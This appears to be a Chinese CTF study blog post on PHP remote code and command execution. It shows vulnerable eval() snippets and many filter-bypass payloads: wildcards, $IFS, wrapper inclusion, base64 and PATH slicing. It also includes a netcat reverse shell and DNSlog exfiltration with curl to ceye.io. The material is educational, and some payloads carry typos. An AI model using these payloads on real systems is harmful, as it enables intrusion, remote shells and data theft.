RCE_STUDY

Anime_Bucket發表於2024-03-03

概念

RCE(Remote code execution)遠端程式碼執行漏洞,RCE又分命令執行和程式碼執行。

  • RCE-遠端程式碼執行:遠端執行PHP程式碼
  • RCE-遠端命令執行:遠端執行Linux或者Windows等系統命令。

常見函式有:

  • PHPeval(),assert(),preg_replace(),call_user_func(),call_user_func_array()以及array_map(),system, shell_exec, popen, passthru, proc_open等。
  • Pythoneval,exec,subprocess os.system commands.
  • Java:Java裡面沒有類似於php中的eval函式可以直接將字串轉化為程式碼執行的函式。但是又反射機制,並且有各種基於反射機制的表示式引擎。ps:OGNL, SpEL, MVEL

繞過姿勢

*號繞過(ノ*・ω・)ノ

這個理解起來其實很簡單,這個指令放到Linux裡面是這樣的

在Linux中,*是一個萬用字元,代表當前目錄下的所有隱藏目錄和隱藏資料夾。

我們利用這一點可以繞過CTF中的一些函式。

ps:

<?php 
  $c = $_GET['c'];
  if(!preg_match("/flag/i",$c))   //這裡的i是大小寫的意思
  {
      eval($c);
}
?>

我們看上面的if函式里面寫的東西,他是禁止出現flag這個字串,所以我們可以直接使用*來進行繞過。但是這裡我們不僅可以使用cat fla*.php也可以使用tac命令來輸出這個fla*.php,命令為tac fla*php.

取代函式 (ノ*・ω・)ノ

這個方法挺好用的,我們可以看一段具體的php判斷程式碼。

<?php 
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php/i",$c))   
  {
      eval($c);
}
?>

上文我們的system與php都被禁止了,這裡我們可以看到上面的PHP執行命令函式。

我們可以使用裡面的shell_exec函式,但是我們要注意,shell_exec函式需要我們把結果輸出出來。那我們就可以這樣構造payload的了

url?c=echo shell_exec('tac/cat fla*);

引數逃逸(ノ*・ω・)ノ

我們看到這個姿勢,也是透過一個php判斷程式碼

<?php 
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |/i",$c))   //這裡還過濾的.和空格
  {
      eval($c);
}
?>

我們對引數逃逸進行理解

因為是rce漏洞,所以我們可以使用程式碼在構造一些新的引數,比如說我們構造一個新的引數,那我們在url中可以先這樣寫。

url?c=eval($_GET['a']);

這樣相當於構造了一個新的引數a,然後頁面程式碼又沒有對a引數進行限制,所以我們後面可以直接用a引數來進行對flag.php的讀取。

url?c=eval($_GET['a']);&a=cat flag.php;

這就是我們所說的引數逃逸。

管道符繞(ノ*・ω・)ノ

管道符這裡我們分為兩個系統的:

windows

  1. |:直接執行後面語句
  2. ||:前面執行失敗,則執行後面
  3. &:兩個都執行,如果前面的命令為假,則直接執行後面
  4. &&如果前面的語句為假則直接出錯,也不執行後面,前面為真,則都執行。

Linux

  1. |:顯示後面語句的結果
  2. ||:當前面直接出錯,執行後面的語句
  3. &:兩個都執行,同win
  4. &&:前面出錯,則不執行後面,兩個都為true才都執行,前面只能為true。
  5. `:在將括號內的命令處理完畢之後,會將返回的資訊傳給bash,再次執行。
  6. ;:執行完前面執行後面。

包含漏洞+偽協議 (ノ*・ω・)ノ

這個繞過需要用到我們之前講到的引數逃逸的思想,我們透過一個例子來看。

<?php 
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;(/i",$c))  //這裡我們國立了',`和;號。  
  {
      eval($c);
}
?>

我們可以看到echo,;和我們之前用的反引號都被過濾掉了,那麼既然分號與反引號都被註釋掉了,我們就可以使用檔案包含的思路。

url?c=include$_GET[a]?>

我們使用?>來將這個php語句進行完成,然後我們後面跟上php的偽協議。這樣我們的payload就變成了。

payload:url?c=include$_GET[a]?>&a=data://text/plain,<?tac fla*?>

這裡我們使用data協議是因為,使用者的輸入會被當做php檔案來執行,這樣一來就達到了我們繞過的思路。

但是我們也可以使用其他的協議。

1.url?c=include[a]?>&a=php;//filter/read=convert.base64-encode/resource=flag.php

2.url?c=include$_GETa]?>&a=php://input post:<?php system('tac flag.php');?>

關鍵字繞過(總體)(ノ*・ω・)ノ

這裡包含了很多中不同的繞過方式,但是都是屬於關鍵字繞過這個大板塊的。

空格繞過

在Linux中,空格可以替換為以下幾種:

< <> ${IFS} $IFS %20(space) %09(tab) $IFS$9 $IFS$1等等

cat<flag.php
cat<>flag.php
cat$IFSflag.php
cat${IFS}flag.php
cat%20flag.php
cat%09flag.php
cat$IFS$1flag.php

這裡主要是程式碼審計,看看那些是沒有被過濾的,靈活運用。

轉義繞過

我們可以使用反斜槓進行轉義

ps:

cat flag  --->   ca\t fl\ag
cat flag  --->   ca"t flag
cat flag  --->   ca't flag

這個就不多說了。

特殊變數繞過

我們可以使用Linux中的一些特殊變數進行繞過

ps:

$* $@ $x ${X} //這裡的x代表任意值

ca$*t  flag.php
ca$@t flag.php
ca$xt flag.php
ca${X}t flag.php

這些都是shell的特殊變數,也是可以用來繞過的,這種型別可以用在過濾了cat這種命令或者其他關鍵字串上面使用。

RE繞過

這個也就是我們最開始的fla*.php。沒什麼好講的。

其實這個應該也可以叫做正規表示式繞過。但是我想說,這裡還有一個騷操作

比如說我們一下這個實列:

shell -->  ls
-> flag
shell -->  cat ?la*
->flag{ABsec}

Base64編碼繞過

這個可以用在一些命令被過濾的情況下使用,比如說我們的ls命令被過濾了,那我們可以將ls這個命令編碼

echo 'ls' | base64
->bHMK
`echo 'bHMK' | base64 -d
-> flag.ph  test.php  ......

拼接法

這個的大概思路為,用兩個引數來儲存flag這個字串的每個部分。大致如下

a=fl;b=ag;cat$IFS$a$b;

類似於這種。

過濾命令執行函式(ノ*・ω・)ノ

內斂繞過

這個其實很簡單,就是將反引號內的命令的輸出作為輸入執行。

payload:url?c=127.0.0.1;cat$IFS$!`ls`

會抓取ls返回的所有檔案內容。

內斂繞過還有其他的寫法,比如下面:

echo $(ls);

?><?=`ls1;

?><?=$(ls);

使用其他函式

還記得我們前面講的取代函式嗎?和這個的思路一樣,如果我們的執行命令函式被過濾的花花,我們就需要更換函式了

我們除了shell_exec()還可以用以下幾種

system()

passthru()

exec()

popen()

proc_open()

pcntl_exec()

highlight_file()

讀取檔案

這裡我們這樣玩,我們除了cat可以顯示文字內容以外,在CTF中我們還可以使用一下幾個姿勢

curl file:///flag
strings flag
uniq -c flag
bash -v flag
rev flag
tac flag
//如果說我們遇到ls被過濾的話,我們也可以使用find
find
-?>  .   ./flag

字串長度限制(ノ*・ω・)ノ

這個挺有意思的,在CTF中,題目可能會限制你輸入的長度,如果說我們要繞過他的話,我們可以只用上文中的一些思想,我們直接看payload

cat flag
-> flag{ABsec}
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t
->ca\ ,  t \  ,  fl\  ,  ag  ,  shell ,  flag
ls -t > shell
sh shell
->flag{ABsec}

首先是裡面的一些命令

  1. 空格\ : 這個其實是換行。
  2. ls -t :按照時間將文字排序輸出
  3. ls -t > shell:將ls -t的輸出儲存到shell檔案中

我們首先是用touch命令建立了幾個檔案,但是他們的檔名是我們的主要。我們使用兩個\\的原因在於,第一個\用於將後面的\變成字串,第二個\是用來將後面的文字轉換為字串,以便用於後面的測試。

這樣我們shell裡面的樣子應該是這樣的:

cat shell
->cat
flag

因為 \就是用來換行的,不然他們連在一起也無法被解析。

$PATH (ノ*・ω・)ノ

這個是利用環境變數來達到擷取字母繞過的目的。

這裡我們可以舉一個例子:

echo $PATH
/opt/jdk-21/bin         //假如是這樣的
echo ${PATH:2:1}
->p
echo ${PATH:3:1}
->t
echo ${PATH:3:2}
->t/

Linux中${PATH:a:b}我們可以理解為從a位開始擷取,擷取b個長度(/也算一位)

那我們對應這來的話就是這樣的

/ o p t / j d k - 2 1 / b i n

0 1 2 3 4 5 6 7 8 9 10 11 12 13

比如說我們echo ${PATH:3:2}

那就表示,我們從t開始,往後擷取兩位數

輸出: t/

但是這樣可能也會出現一些沒有的字母,但是我們需要那個字母的情況,這個時候我們可以自己取構造一個PATH。

export PATH=$PATH:/abcdefghijklmn/opq/rst/uvw/xyz/0123456789

我們直接將全部的字母和數字都放到環境變數中,需要的時候我們就用上面的那個方法進行構造payload。

無回顯RCE

無回顯顧名思義沒有回顯的遠端程式碼執行漏洞,那對於這種情況我們可以這樣思考

sleep函式測試

我們在無回顯rce中可以使用sleep函式測試一下頁面的迴響,比如說我們這樣寫

url?c=ls;sleep 3

http請求dns請求

http://ceye.io/payloads

如果說我們在進行sleep測試的時候確實停了3秒,那麼我們可以進行一下的一些思路。

shell獲取許可權拿flag

更具上面的sleep測試,首先頁面無回顯,那麼我們就不能單純的在進行我們上面的rce的bypass了,我們可以使用寫shell的方式,但是這個shell可以是我們直接寫的(echo shell>xxxx.sh)也可以是我們下載的(wget)。

我們手寫的話就是這樣走:

url?c=nc -e /bin/sh ip port

然後我們本地在使用nc進行監聽。

這樣是一種拿到flag的一種思路。

DNSlog

dnslog主要爭對無回顯的情況

  • Sqi-Blind
  • RCE
  • SSRF
  • RFI(Remote File inclusion)

但是我們這裡只談RCE的使用。

首先我們介紹一什麼是dnslog。

原理

DNS在解析的時候會留下日誌,我們將資訊放在高階域名中,傳遞到自己這裡,然後透過讀日誌獲取資訊。所以這裡跟最初的猜想基本一致,原理也就是透過DNS請求後,透過讀取日誌來獲取我們的請求資訊。

我們用一個例子來理解這個東西:

c:\>ping %USERNAME%.ABsec.com
ping 請求找不到主機 example.ABsec.como. ......

我們可以看到我們這個ping的命令將example.ABsec.com一起發給了DNS伺服器請求解析域名對應的ip地址,這個過程被記錄下來就是DNSlog。也就是說,只要可以進行DNS請求,就有可能存在DNSlog注入。

DNSlog常規的Linux的注入是這個樣子的payload

curl http://ip.port.exp.ceye.io/`whoami`    //這裡的exp.ceye.io就是我們identifier,這裡的ip與port均為靶機的ip與port。命令而已自己嘗試這換。
ping `whoami`.ip.port.exp.ceye.io

舉例

我們拿NSSCTF裡面的一道題目舉例子

<?php
  error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
  if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
    return($cmd);
  }
  else{
    die("i hate this");      
  }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

我們看到上面程式碼,進行程式碼審計

首先是過濾了;,&,$,x09,x26等關鍵字,而且還過濾的ping。

在url上面傳入一個cmd引數。

再往下看,發現了shell_exec,那麼基本可以判定是無回顯RCE了。

那我們就可以試試使用DNSlog來進行滲透了。

我們需要用到下面的identifier,這個就是我們後面需要跟的那個域名。

那我們的payload這樣寫就可以了

payload:url?cmd=curl `cat /fla*`.域名

我們這樣寫,然後執行,回到我們的ceye中檢視flag。

總結

以上就是我對於RCE學習的一個總結,其中也借鑑了很多網上大佬們的文章,也有影片學習的筆記。如果有不足,會很快改的。